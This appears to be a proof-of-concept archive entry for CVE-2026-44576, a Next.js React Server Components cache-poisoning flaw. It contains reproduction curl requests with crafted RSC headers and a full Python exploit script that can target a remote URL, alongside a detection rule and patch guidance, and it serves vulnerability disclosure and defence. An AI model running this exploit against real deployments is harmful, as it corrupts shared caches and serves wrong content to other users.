PoC Archive PoC Archive
Medium CVE-2026-44576 patched

Next.js RSC Response Cache Poisoning (CVE-2026-44576)

by dwisiswant0 · 2026-05-17

CVSS 5.4/10
Severity
Medium
CVE
CVE-2026-44576
Category
web
Affected product
Next.js App Router deployments using React Server Components (RSC) behind shared caches
Affected versions
14.2.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44576
Categoryweb
SeverityMedium
CVSS Score5.4 (CVSSv3)
StatusWeaponized
Tagscache-poisoning, RSC, response-confusion, Next.js, shared-cache, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js App Router deployments using React Server Components (RSC) behind shared caches
Versions Affected14.2.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44576 is a cache poisoning issue in Next.js RSC response handling. In vulnerable versions, RSC and HTML response variants can be mis-partitioned by shared caches when request/response variants are not keyed correctly, allowing attacker-controlled requests to poison a cache entry. Later visitors can receive an incorrect RSC payload variant for the same URL. The issue is rated Medium (CVSS 5.4), with no known active exploitation at disclosure time.


Vulnerability Details

Root Cause

The vulnerable request/response handling path allowed RSC-specific responses to be ambiguously classified for caching in some deployment/cache setups. If a shared cache did not vary on RSC-relevant headers and variant metadata, poisoned entries could be stored under keys later reused by normal browser traffic.

Attack Vector

An attacker sends crafted requests to an affected Next.js route with RSC-related headers so an intermediary cache stores a mismatched response variant under a shared key. Subsequent legitimate users requesting the same path can receive the poisoned RSC payload.

Impact

Successful exploitation can cause cross-user response confusion and content integrity issues, where users receive incorrect server component output for a route. In practical deployments this can break rendering behavior and leak/override expected page state served from shared cache.


Environment / Lab Setup

OS:          Linux/macOS/Windows
Target:      Next.js 14.2.0–15.5.15 or 16.0.0–16.2.4 deployment
Attacker:    Any host able to send crafted HTTP requests
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44576_GHSA-wfc6-r584-vfw7

python3 exploit.py
bash exploit.sh

Proof of Concept

Step-by-Step Reproduction

  1. Run baseline request to observe normal response.

    1
    
    curl -i 'http://127.0.0.1:8082/tenant-x/samples?nxtPtenant=tenant-x'
    
  2. Send poisoning request with RSC-oriented headers.

    1
    2
    3
    4
    
    curl -i \
      -H 'RSC: text/x-component' \
      -H 'Next-Router-Prefetch: 1' \
      'http://127.0.0.1:8082/tenant-x/samples?nxtPtenant=tenant-x'
    
  3. Re-request without attacker headers and compare response behavior/content type.

    1
    
    python3 exploit.py http://127.0.0.1:8082/tenant-x/samples?nxtPtenant=tenant-x
    

Exploit Code

See exploit.py and exploit.sh in this folder.

1
2
3
4
from exploit import main
import sys

sys.exit(main(["exploit.py", "http://127.0.0.1:8082/tenant-x/samples?nxtPtenant=tenant-x"]))

Expected Output

[+] VULNERABLE -- cache poisoned: RSC binary served as text/html.

Screenshots / Evidence

  • screenshots/ — add response header/body captures showing mismatched variant/content-type behavior

Detection & Indicators of Compromise

RSC: text/x-component
Next-Router-Prefetch: 1

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible Next.js RSC response cache poisoning attempt";
  content:"RSC|3a|"; http_header;
  content:"Next-Router-Prefetch|3a|"; http_header;
  sid:900044576; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16 or 16.2.5+
WorkaroundEnsure shared caches/CDNs vary on RSC and router-prefetch variant headers; avoid sharing incompatible variants under a single key
Config HardeningAudit cache key partitioning for RSC/HTML variants and monitor anomalous variant mismatches

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

Issue notes indicate no known active exploitation at time of reporting.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit permission
# to test.
"""
GHSA-wfc6-r584-vfw7 -- RSC HTML cache poisoning exploit.

Pre-patch a deployed Next.js (< 16.2.5) accepted ANY truthy RSC request header
AND passed a query-strung URL into onCacheEntryV2, so the deployment adapter
classified RSC payloads as text/html. End result: shared CDN caches end up
serving RSC binary as text/html.

Usage:
    python3 exploit.py                        # local mock harness on :8082
    python3 exploit.py http://target/path     # remote target
"""
import os
import signal
import subprocess
import sys
import time
import urllib.error
import urllib.request


class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  GHSA-wfc6-r584-vfw7 -- RSC HTML cache poisoning" + C.X)
    print(C.CY + C.B + "  Patched in 16.2.5 (af0e96ba23 + 0dd94836a8)" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def get(url: str, headers: dict | None = None, timeout: float = 10.0):
    req = urllib.request.Request(url, headers=headers or {})
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            body = r.read(2048)
            return r.status, dict(r.headers.items()), body
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers.items() if e.headers else []), e.read(2048)
    except Exception as e:
        return -1, {}, str(e).encode()


def maybe_start_mock(port: int = 8082):
    here = os.path.dirname(os.path.abspath(__file__))
    server = os.path.join(here, "vulnerable-app", "server.py")
    proc = subprocess.Popen(
        [sys.executable, server, "--port", str(port)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
    )
    time.sleep(1.0)
    return proc


def step(label: str, code: int, headers: dict, body: bytes):
    ct = next(
        (v for k, v in headers.items() if k.lower() == "content-type"),
        "<missing>",
    )
    print(f"{C.B}{label}{C.X}")
    print(f"    HTTP {code}  Content-Type: {ct}")
    print(f"    body[:80]: {body[:80]!r}")
    print()
    return ct.lower()


def main(argv):
    banner()
    target = argv[1] if len(argv) > 1 else None
    proc = None

    try:
        if not target:
            print(C.Y + "[*] no target supplied -> mock harness on :8082" + C.X)
            proc = maybe_start_mock(8082)
            target = "http://127.0.0.1:8082/tenant-x/samples?nxtPtenant=tenant-x"
        print(f"{C.B}[*] Target:{C.X} {target}\n")

        # Step 1: baseline
        c, h, b = get(target)
        ct1 = step("[1/3] Baseline (no RSC header):", c, h, b)

        # Step 2: poisoning request - loose RSC value
        c, h, b = get(target, {
            "RSC": "text/x-component",         # loose value, not '1'
            "Next-Router-Prefetch": "1",
        })
        ct2 = step("[2/3] Poisoning request:", c, h, b)
        poison_body = b

        # Step 3: subsequent clean client - cached?
        c, h, b = get(target)
        ct3 = step("[3/3] Re-read by clean client:", c, h, b)
        final_body = b

        rsc_marker = b.startswith(b"0:") or b"$react" in b or b"\"$\"," in b
        poison_marker = poison_body.startswith(b"0:") or b"\"$\"," in poison_body

        if "text/html" in ct3 and rsc_marker:
            print(C.G + C.B + "[+] VULNERABLE -- cache poisoned: RSC binary served as text/html." + C.X)
            print(C.G + "    Subsequent visitors will receive Flight framing rendered as HTML." + C.X)
            return 0
        if "text/html" in ct2 and poison_marker:
            print(C.G + C.B + "[+] VULNERABLE -- server mis-classified RSC payload as text/html." + C.X)
            print(C.G + "    A CDN keying on URL+query (not the RSC header) would cache this." + C.X)
            return 0

        print(C.R + "[-] Likely PATCHED -- RSC payload had correct content type." + C.X)
        return 1
    finally:
        if proc:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except ProcessLookupError:
                pass


if __name__ == "__main__":
    sys.exit(main(sys.argv))